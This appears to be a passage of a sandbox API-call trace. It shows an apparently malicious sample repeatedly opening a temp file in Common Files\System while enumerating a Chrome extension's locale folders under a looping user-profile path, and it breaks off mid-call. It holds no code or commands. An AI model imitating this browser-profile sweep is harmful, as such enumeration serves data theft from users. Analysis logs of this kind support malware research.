MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.700] GetFileType (hFile=0x19c) returned 0x1 [0133.700] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2c000, nFileSizeHigh=0x0, nFileSizeLow=0x2bb65, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.700] AreFileApisANSI () returned 1 [0133.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.700] GetFileType (hFile=0x19c) returned 0x1 [0133.701] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2c000, nFileSizeHigh=0x0, nFileSizeLow=0x2bc6a, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x90\x80\x83")) returned 0xffffffff [0133.701] AreFileApisANSI () returned 1 [0133.701] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.701] GetFileType (hFile=0x19c) returned 0x1 [0133.701] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2c000, nFileSizeHigh=0x0, nFileSizeLow=0x2bd6c, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.701] AreFileApisANSI () returned 1 [0133.701] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.701] GetFileType (hFile=0x19c) returned 0x1 [0133.701] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2c000, nFileSizeHigh=0x0, nFileSizeLow=0x2be72, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.701] AreFileApisANSI () returned 1 [0133.701] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.701] GetFileType (hFile=0x19c) returned 0x1 [0133.702] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2c000, nFileSizeHigh=0x0, nFileSizeLow=0x2bf74, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.702] AreFileApisANSI () returned 1 [0133.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.702] GetFileType (hFile=0x19c) returned 0x1 [0133.702] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2d000, nFileSizeHigh=0x0, nFileSizeLow=0x2c076, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.702] AreFileApisANSI () returned 1 [0133.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.702] GetFileType (hFile=0x19c) returned 0x1 [0133.702] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2d000, nFileSizeHigh=0x0, nFileSizeLow=0x2c179, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.702] AreFileApisANSI () returned 1 [0133.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.703] GetFileType (hFile=0x19c) returned 0x1 [0133.703] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2d000, nFileSizeHigh=0x0, nFileSizeLow=0x2c27b, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.703] AreFileApisANSI () returned 1 [0133.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.703] GetFileType (hFile=0x19c) returned 0x1 [0133.703] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2d000, nFileSizeHigh=0x0, nFileSizeLow=0x2c37d, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.703] AreFileApisANSI () returned 1 [0133.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.703] GetFileType (hFile=0x19c) returned 0x1 [0133.703] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2d000, nFileSizeHigh=0x0, nFileSizeLow=0x2c47f, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.703] AreFileApisANSI () returned 1 [0133.703] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.703] GetFileType (hFile=0x19c) returned 0x1 [0133.704] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2d000, nFileSizeHigh=0x0, nFileSizeLow=0x2c581, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.704] AreFileApisANSI () returned 1 [0133.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.704] GetFileType (hFile=0x19c) returned 0x1 [0133.704] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2d000, nFileSizeHigh=0x0, nFileSizeLow=0x2c683, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.704] AreFileApisANSI () returned 1 [0133.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.704] GetFileType (hFile=0x19c) returned 0x1 [0133.704] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2d000, nFileSizeHigh=0x0, nFileSizeLow=0x2c785, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.704] AreFileApisANSI () returned 1 [0133.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.704] GetFileType (hFile=0x19c) returned 0x1 [0133.704] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2d000, nFileSizeHigh=0x0, nFileSizeLow=0x2c887, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.705] AreFileApisANSI () returned 1 [0133.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.705] GetFileType (hFile=0x19c) returned 0x1 [0133.705] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2d000, nFileSizeHigh=0x0, nFileSizeLow=0x2c989, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.705] AreFileApisANSI () returned 1 [0133.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.705] GetFileType (hFile=0x19c) returned 0x1 [0133.705] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2d000, nFileSizeHigh=0x0, nFileSizeLow=0x2ca8b, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.705] AreFileApisANSI () returned 1 [0133.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.705] GetFileType (hFile=0x19c) returned 0x1 [0133.705] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2d000, nFileSizeHigh=0x0, nFileSizeLow=0x2cb8d, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.705] AreFileApisANSI () returned 1 [0133.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.706] GetFileType (hFile=0x19c) returned 0x1 [0133.706] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2d000, nFileSizeHigh=0x0, nFileSizeLow=0x2cc8f, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.706] AreFileApisANSI () returned 1 [0133.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.706] GetFileType (hFile=0x19c) returned 0x1 [0133.706] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2d000, nFileSizeHigh=0x0, nFileSizeLow=0x2cd91, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.706] AreFileApisANSI () returned 1 [0133.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.706] GetFileType (hFile=0x19c) returned 0x1 [0133.706] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, 